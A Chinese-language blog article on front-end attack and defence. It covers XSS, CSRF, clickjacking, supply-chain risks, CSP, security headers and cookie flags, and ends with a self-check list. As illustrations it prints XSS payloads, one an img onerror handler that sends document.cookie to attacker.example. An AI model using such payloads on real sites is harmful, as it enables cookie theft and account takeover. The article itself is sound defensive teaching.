聊到前端安全攻防很多人第一反应是 XSS、CSRF 这几个缩写可真到排查问题、审查代码的时候又会发现漏洞远不只是某个输入框没审干净那么简单。我前两年接手过一个后台管理系统前端代码看起来规规矩矩但安全扫描报告里仍然躺着一个高危项顺着代码追下去才发现问题出在一个不起眼的第三方组件参数上。这种“看着没事、实际有洞”的情况才是前端安全最磨人的地方。这篇内容是我把日常踩坑、代码审计经验整理成的一套前端安全攻防地图从攻击面盘点、常见攻击手法到防御体系的落地配置再到可以直接拿去做自测的检查清单。适合刚接触安全的前端开发者也适合被安全扫描结果追着跑、需要快速判断问题在哪的工程师。说明一下文中的攻击代码都是为了讲清楚防御原理放在“理解敌人”这个语境下不是为了教人使坏。1. 为什么说前端是安全攻防的主战场攻击面与影响面盘点1.1 前端攻击面远比想象中广很多人有个惯性思维前端不就是页面展示吗真正的数据都放在后端后端做好鉴权和参数校验前端能出什么大事这个想法在十年前还能勉强成立放到今天就完全站不住了。前端代码在浏览器里是彻底暴露的用户按一下 F12所有 JS 逻辑、接口地址、请求参数、数据存储方式都摊在你面前。攻击者不需要破解你的服务器只需要像正常用户一样打开页面然后把请求改一改、把脚本注进去就能做很多事。前端能当攻击入口的地方远不止输入框一个点。常见的攻击面至少包括这些URL 上的查询参数、表单输入、Cookie 和 localStorage、window.name、postMessage消息、iframe 通信、第三方 SDK、CDN 脚本、npm 依赖包。换句话说只要是浏览器能接触到的数据通道都有被伪造或被注入的可能。我记得有一次排查线上告警最后发现注入点根本不是页面表单而是某个页面在初始化时把 URL 上的一段参数直接拼进了跳转地址。这种问题靠肉眼很难一眼看到因为它“长得太正常了”。后端安全更像是守卫保险库前端安全则是看守展示柜台。柜台里每一件商品都摆在明面上顾客能看、能摸甚至能隔空指挥店员拿东西。你要做的不是在商品上贴“别碰”的标签而是默认每个靠近柜台的人都可能伸手然后针对每一条通路设计防护。这个心态转换特别重要它决定了你会不会去认真对待每一个看起来不起眼的输入源。1.2 一个前端漏洞能影响多深单纯讨论“前端被攻破”听起来还是很抽象换成实际影响就清楚了。最常见的链条是某处存储型 XSS 注入成功 → 攻击者拿到其他管理员的 Cookie → 以管理员身份登录后台 → 批量导出用户数据或篡改业务配置。这条链里前端只贡献了第一个 10%后面的 90% 全是在后端权限范围内发生的。这也是为什么安全圈常说“前端漏洞是入口不是终点”。我朋友所在的公司做过一个分布式业务系统有段时间用户投诉“我没有操作后台却多了一笔订单”。排查下来真正的原因是一个商品详情页的卖家备注字段没有做输出编码攻击者在备注里构造了恶意脚本只要管理员在后台刷新页面脚本就会自动调用下单接口。整个过程没有任何人手动操作攻击者也从未触碰过服务器。这就是前端漏洞的可怕之处它能把浏览器变成攻击者的“遥控器”。影响范围还不只是单个用户。一个页面被注入脚本影响的是所有访问过这个页面的用户一个第三方依赖被污染影响的是所有引用了这个依赖的项目。现在的应用普遍前后端分离前端打包产物又经常挂在 CDN 上一个高危前端漏洞的辐射面比很多人想象中要大得多。这也是为什么合规审计和安全扫描越来越严格数据泄露、账号被盗这类事件一旦发生平台方要承担的责任和损失远远超过修复一个 bug 的成本。2. 前端主流攻击手法拆解从 XSS 到供应链攻击2.1 XSS 三兄弟存储型、反射型与 DOM 型跨站脚本攻击XSS常年霸占前端漏洞榜第一不是没道理的。它主题就一个攻击者想让浏览器执行一段不该执行的脚本。按触发方式可以分成三类理清它们的区别排查时才能少走弯路。存储型 XSS是危害最大的一种。攻击者把 payload 存进数据库所有看到这条数据的用户都会中招。典型场景是评论、昵称、商品描述这类会长期展示的内容。比如一个博客平台攻击者发一条评论内容带了img srcx onerrorfetch(https://attacker.example/steal?cdocument.cookie)这段代码在管理员审核评论时就会执行Cookie 被偷走攻击者转头就能冒充管理员。防御核心思路很简单任何从数据库取出来的内容展示时都必须按 HTML 上下文做编码而不是默认“数据库里的东西可信”。反射型 XSS的 payload 不落库而是通过 URL 参数回显到页面里。最经典的搜查询框用户搜“关键词”页面把“关键词”原样渲染到了“您搜索的是xx”的位置。攻击者只要把恶意脚本拼到链接里诱导用户点击就能在用户的浏览器里执行脚本。这类在过去直接拼 HTML 的年代很常见现在主流框架默认转义情况好转很多但依然不能掉以轻心尤其是做服务端渲染或动态拼接 HTML 的老项目。DOM 型 XSS是纯前端问题payload 根本不会经过服务端。常见的写法是把location.hash或者window.name里的内容直接塞进innerHTML或者document.write。这类漏洞用扫描器经常扫不出来因为服务端返回的 HTML 是正常的恶意注入发生在浏览器端的 DOM 操作里。我见过一个老项目为了给系统加“返回上一页并记住位置”的功能把页面状态写进了window.name结果某个弹窗组件直接把这串字当 HTML 渲染了成为一个隐蔽的注入点。排查 DOM XSS 时重点不是看后端返回了什么而是看前端代码里有哪些“危险函数”接收了不可信输入。这里把危险函数列出来innerHTML、outerHTML、document.write、insertAdjacentHTML以及框架层对应物——Vue 的v-html、React 的dangerouslySetInnerHTML。看到这些词就要默认旁边有风险。不是说不能用而是在使用前必须确认传入的内容是否经过过滤和白名单处理。这里提醒一下很多框架默认是安全的但“默认安全”不等于“永远安全”。你在 Vue 模板里写{{ msg }}没问题但一旦改成v-htmlmsg就等于亲手打开了安全门。XSS 的本质是“不可信数据进入 HTML 解析上下文”理解这一点比背一百个 payload 都管用。2.2 CSRF 与点击劫持不传脚本也能搞事情如果说 XSS 是“让浏览器执行我的脚本”CSRF跨站请求伪造就是“让浏览器替我把请求发出去”。攻击原理是基于浏览器的 Cookie 自动携带机制用户登录了某购物网站会话 Cookie 还没过期此时他打开另一个恶意页面页面上藏了一堆自动提交的表单或图片请求指向购物网站的接口。因为 Cookie 会自动带上服务器分不清这个请求到底是用户点的还是恶意页面发的照常执行了改密码、转账、下单等操作。我一直觉得 CSRF 是典型的“攻击者和受害者各出 50%”的漏洞攻击者负责构造请求受害者负责“恰好登录着”。防御方面有三板斧最好叠加使用第一敏感操作一律校验 CSRF TokenToken 可以通过在页面里埋点或前端请求头里带自定义字段的方式实现第二给 Cookie 设置SameSiteLax或Strict让跨站请求默认不携带 Cookie第三服务端校验请求头里的Origin或Referer不是合法来源直接拒绝。这三层不是三选一而是缺一不可尤其不能把希望全押在单一维度上。点击劫持Clickjacking是另一个老牌前端攻击攻击者在一个恶意页面里用 iframe 嵌入目标站点把这个 iframe 调成透明或半透明再叠放在一个诱导按钮上层。用户看到的是一张抽奖图点的却是底下 iframe 里隐藏的“删除账号”“确认转账”按钮。这类攻击不需要任何脚本执行能力纯粹利用用户的视觉误导。防御点击劫持就两个关键响应头X-Frame-Options: DENY或SAMEORIGIN以及更强的 CSP 指令frame-ancestors none。需要注意的是X-Frame-Options和 CSP 的frame-ancestors同时存在时CSP 优先级更高两者设置不一致以 CSP 为准。我这里建议新项目直接只用 CSP 指令老项目不方便动服务端配置时再用前者兜底。2.3 供应链攻击与前端特有的隐蔽攻击面最近几年供应安全链上出的案子越来越多而且很多就发生在明面上。常见的路径是某个下载量很高的 npm 包维护者账号被盗攻击者往包里塞了一段用来窃取环境变量或用户输入信息的代码然后发一个新版本由于版本号还是“正常升级”大量项目在npm update时无感接受了它。还有一类是 CDN 上的第三方脚本被替换很多老站点喜欢直接从第三方 CDN 引 jQuery但不会校验文件完整性一旦 CDN 上的文件被换掉所有站点的用户都会被攻击。前端特有的隐蔽攻击面我重点关注三个方向。一个是postMessage滥用页面通过window.addEventListener(message, handler)接收消息但 handler 里没有校验event.origin任何来源的 iframe 都能向页面发消息如果消息内容被用来操作 DOM 或触发敏感逻辑就等于给所有外站开了个口子。另一个是原型链污染如果项目里把用户提交的 JSON 直接Object.assign到某个对象上攻击者可以通过构造__proto__字段改写对象原型轻则导致页面异常重则绕过某些逻辑判断。还有一种是开放重定向页面把 URL 参数直接拼到location跳转攻击者利用它把用户导到钓鱼页面。这些问题的共同点是什么呢它们都不是“输入框没过滤”这种一眼能看出的问题而是藏在代码结构和数据流里。排查时不要只盯用户可见的输入要把“任何进入代码的外部数据”都当成不可信输入对待包括消息事件、URL 参数、路由参数、第三方脚本调用结果。3. 前端防御体系怎么搭编码、CSP 与安全响应头3.1 输入校验与输出编码两条腿一起走路前端防御最基础也最容易翻车的一环就是输入输出处理。很多团队的现状是后端接口做了一遍参数校验前端就不管了或者前端校验了格式后端依然坚称“前端校验不可信”。实际情况是这两件事要分开看谁也替代不了谁。先说输入校验。它最重要的作用是提升用户体验、减少明显脏数据比如邮箱格式、手机号位数、必填字段。安全层面的输入过滤不可靠因为攻击者可以直接绕过 UI用脚本构造任意请求体。真正的安全校验必须在后端再做一遍前端校验结果只能当作“优化”不能当作“防线”。如果你把某个字符过滤逻辑写在前端攻击者把请求拦下来改一改就过去了等于画了个假门。输出编码才是前端真正能掌控的防线。它的原则是数据在进入 HTML、属性、JS、URL 等不同上下文之前必须按对应规则做转义。很多人以为“输出编码就是统一把替换掉”这是典型的误区。拿一个简单场景举例要在 JavaScript 字符串里插入一段用户数据如果用在 HTML 文本节点需要转义、、如果用在 HTML 属性值里还要额外转义引号如果用在script标签内部转义规则又不一样单靠替换尖括号根本不安全如果用在 URL 跳转里更要做白名单协议校验否则javascript:协议会直接执行代码。主流框架其实已经把这层做得很好了React 的 JSX 默认对文本内容做转义Vue 模板插值也默认转义。但框架救不了所有场景v-html、dangerouslySetInnerHTML、手写 DOM 操作照样会把数据推进危险函数。我给一个经验性的判断标准不要在业务代码里手写innerHTML拼接尤其是在数据来源于接口或 URL 时如果确实需要渲染富文本请选择经过改造的富文本渲染库并确认它内部做了白名单过滤过滤掉javascript:协议、on*事件属性和data:协议。3.2 CSP 内容安全策略给浏览器立规矩内容安全策略CSP是我最推荐前端优先建立的一道防线它的思路不是“逐条过滤危险字符”而是直接告诉浏览器“哪些来源的代码可以执行、哪些不可以”。好比你在家门上装了一个门禁系统而不是在每个包裹上反复检验是否藏着武器。一个最常用的 CSP 响应头长这样Content-Security-Policy: default-src self; script-src self nonce-Token123; style-src self unsafe-inline; img-src self data:; frame-ancestors none;逐条拆开看default-src self没有单独设置指令的资源类型一律只能从当前域名加载script-src self nonce-Token123脚本只能来自当前域名且必须带一个和响应头一致的nonce值inline script 如果没有这个随机值就执行不了style-src self unsafe-inline样式可以从当前域名加载也允许内联样式。很多项目跑不起来就是因为没放开unsafe-inline而不少第三方组件喜欢往 DOM 上塞 styleimg-src self data:图片可以从当前域名和data:协议加载frame-ancestors none拒绝任何来源用 iframe 嵌套本站页面直接替掉X-Frame-Options。很多团队第一次上线 CSP 时优先选择Content-Security-Policy-Report-Only模式。这个模式不会拦截任何行为只会把违规情况上报等于先跑一遍“预演”。跑上一段时间把报告里的误伤项和真实违规项都解决掉再换成强制模式稳定性会好很多。我踩过一个很典型的坑为了给前端做埋点统计在 HTML 里内联了一段脚本结果 CSP 强制模式下这段代码全部失效控制台报错成片。后来改用nonce方案解决了服务端在返回 HTML 时动态生成一个随机字符串放到 CSP 响应头里并给内联脚本标签加同名nonce属性。这样既不牺牲内联脚本的便利性又保证了只有指定随机值的脚本能执行。如果你用了strict-dynamic模式那就更严格了非块脚本会被默认禁止且只要出现在白名单脚本加载链上就允许其动态加载更多脚本这种模式适合有成熟构建工具的团队不适合传统多页面直出项目。3.3 Cookie、安全响应头与前端依赖管控前端安全不是只靠代码写得好服务端返回的头部信息也占了半壁江山。这里说的安全响应头不需要前端工程师写代码但你有必要知道每一项是干什么的、要配成什么值因为审查或攻防演练时通常由前端工程师发起整改。响应头推荐配置作用Content-Security-Policy按项目实际配置限制资源加载与脚本执行来源X-Content-Type-Optionsnosniff禁止浏览器对响应内容做 MIME 类型猜测降低类型混淆攻击风险X-Frame-OptionsDENY或SAMEORIGIN防止页面被 iframe 嵌入抵御点击劫持Referrer-Policystrict-origin-when-cross-origin控制跳转时 Referrer 携带的信息量避免 URL 参数中的敏感信息泄露到第三方站点Permissions-Policy按需关闭摄像头、麦克风、定位等能力限制页面和 iframe 可以调用的浏览器特性Cookie 侧的属性同样重要而且容易被忽视。给保存会话的 Cookie 加上HttpOnly意味着document.cookie读不到它XSS 即使执行了也偷不走会话这是非常划算的一道防线。Secure属性保证 Cookie 只在 HTTPS 连接下传输避免被抓包。SameSite属性控制跨站请求带不带 CookieLax是大多数情况下的平衡选择敏感操作可以上Strict。顺带一提现在很多项目喜欢把token存在localStorage这个我建议尽量改为HttpOnlyCookie 保存会话、配合CSRF Token机制。原因很简单localStorage在同一源下的任何 JS 都能读一旦出现 XSStoken 等于白送而HttpOnlyCookie 至少挡掉了脚本读取这一条路径。前端依赖管控这块也提一下。package-lock.json或yarn.lock必须提交到仓库锁住依赖版本CI 流程里加上依赖安全检查类似npm audit这种能在发布前发现已知漏洞。用到外部 CDN 脚本时尽量加上完整性校验SRI在script标签里用integrity属性指定哈希值浏览器加载时会比对文件是否一致。写法类似script srchttps://cdn.example.com/lib.js integritysha384-oqVuAfXRKap7fdgcCY5uykM6R9aB7I5g6DdZG82FRH9M5Zt6fA5H4X2fGX3Ywe crossoriginanonymous/script这个哈希值由文件内容决定如果 CDN 文件被篡改哈希比对不上浏览器会拒绝执行。4. 前端安全自测清单与常见问题排查实录4.1 一套可以直接照做的安全自测清单自测这件事最怕“不知道查什么”。下面这套清单是我做代码安全检查时固定走一遍的流程挑几个最常见的风险点覆盖到基本能应对日常上线前检查。检查项自查方法合格标准用户输入是否进入危险函数全局搜索innerHTML、document.write、v-html、dangerouslySetInnerHTML所有危险函数的输入均来自可信常量或经过白名单过滤输出编码是否覆盖所有上下文检查模板渲染、接口返回数据拼接方式无直接 HTML 拼接框架默认转义未被绕过CSP 是否开启查看响应头或页面 meta 标签已配置script-src且不含unsafe-inline除非有 nonceCookie 是否安全查看Set-Cookie响应头HttpOnly、Secure、SameSite三项按需开启页面能否被 iframe 嵌入搜索X-Frame-Options或frame-ancestors拒绝非信任来源嵌套postMessage是否校验来源全局搜索addEventListener(message回调开头即校验event.origin是否使用第三方 CDN 脚本检查 HTML 中的外部脚本已添加 SRI 完整性校验敏感信息是否进入前端存储搜索localStorage.setItem、sessionStorage.setItem会话令牌不在 localStorage 中明文存储错误信息是否泄露内部细节检查接口错误提示与页面文案用户可见错误统一为“操作失败请重试”URL 跳转是否有限白名单搜索location.href、window.open跳转目标经过协议白名单与域名白名单校验依赖是否存在已知漏洞执行npm audit或依赖扫描高危漏洞已升级或找出替代方案上传文件是否校验类型查看上传接口的前端逻辑同时校验扩展名与 MIME且后端再次核验这份清单不要求一次全部做到你可以按风险优先级来先把 XSS 相关的危险函数清零再上 CSP 和 Cookie 属性最后处理依赖和供应链层面的问题。我之前给很多项目做安全检查发现 80% 的高危项其实都能通过前两轮清理解决后面几项属于“加固加分项”但也不能长期不管。4.2 典型问题与排查技巧实录排查前端安全问题和排查普通 bug 最大的区别在于你得同时有“代码视角”和“攻击者视角”。下面这几个场景是我在实际项目里遇到过的把思路和解决过程整理出来下次你再遇到同类问题可以顺着这个路子走。场景一用了过滤函数XSS 还是扫描出来了。某团队在保存用户昵称时把script替换成了空字符串觉得这样就安全了。但安全扫描依然报出存储型 XSS。原因是攻击者根本不用script标签换成img srcx onerroralert(document.cookie)就绕过了“替换script”这道过滤。记住输入过滤永远不是治本方案正确的做法是输出时做上下文编码框架默认转义就够了不需要自己发明过滤规则。场景二CSP 上线后页面脚本全部失效。最常见的原因是项目中大量使用 inline script比如事件属性onclickfn()或者typetext/javascript的内联块。CSP 强制模式下这些代码全被拦截。解决办法是给内联脚本加上nonce值或者把逻辑抽离成独立.js文件。如果项目里大量依赖第三方组件组件内部又生成了内联脚本可以先把script-src放宽到包含unsafe-inline再逐步收紧但这是过渡方案不建议长期保留。场景三第三方组件内部用了v-html怎么处理。接手一个用某个表格库的项目扫描发现这个库内部用v-html渲染单元格内容而我们传入的数据来自后端接口。直接改库源码不现实升级版本也没修复。最终方案是在数据进入表格前统一做一次 HTML 实体转义让所有变成lt;这样即使库内部用了v-html渲染出来的也只是纯文本。这个思路可以迁移到很多场景无法阻止组件用危险函数那就让传入数据在它手里变得“无公害”。场景四会话 token 放在localStorage被 XSS 一波带走。移动端项目为了请求方便把登录 token 放在localStorage结果某页面出现一个反射型 XSS攻击者用一行脚本就拿到了所有用户的 token。整改方案分两步第一步把 token 迁移到HttpOnlyCookie前端请求时自动携带第二步针对必须由前端 JS 读取的场景改用“短期令牌 刷新机制”降低泄露后的危害。同时把document.cookie的读取路径和 XSS 入口彻底检查一遍从源头阻断脚本执行。这里说一个排查小技巧当你怀疑某个页面存在 DOM 型 XSS 时可以打开浏览器开发者工具在控制台执行一段来源检测脚本给innerHTML、document.write等危险函数挂上断点然后在页面上正常操作并观察哪些调用栈触发了执行。这种方式能快速定位到具体代码行比纯靠眼睛读代码效率高得多。另外一个容易被忽略的点是安全问题修复后一定要重新过一遍完整链路。比如修复存储型 XSS 后不仅要看当前页面渲染是否正常还要拿攻击者的视角重新构造几组 payload 验证一下。很多团队修完就不管了结果改了一处、漏了一处攻击者换个编码方式又绕回来了。写在最后我在实际项目里最深的体会是前端安全攻防的对抗本质是在和时间赛跑。攻击者永远在找新的注入点、新的绕过方式而防御者能做的就是把体系搭扎实让每一次攻击尝试都付出足够高的成本。CSP、输出编码、安全响应头这些配置平时看起来像一堆死板的模板可真到出事的那个晚上它们会把损失压到最小。再分享一个小技巧把安全自测清单放进项目的发布流程里而不是等安全扫描报告出来才想起补救。这样团队里每个人写代码时都会多问一句“这段数据从哪来、会进到哪个上下文”安全意识一旦变成习惯防御能力是往上跳一个台阶的。前端安全这件事没有终点但你可以通过一次次小的加固让系统越来越难打。
阅读完成 · 觉得有帮助?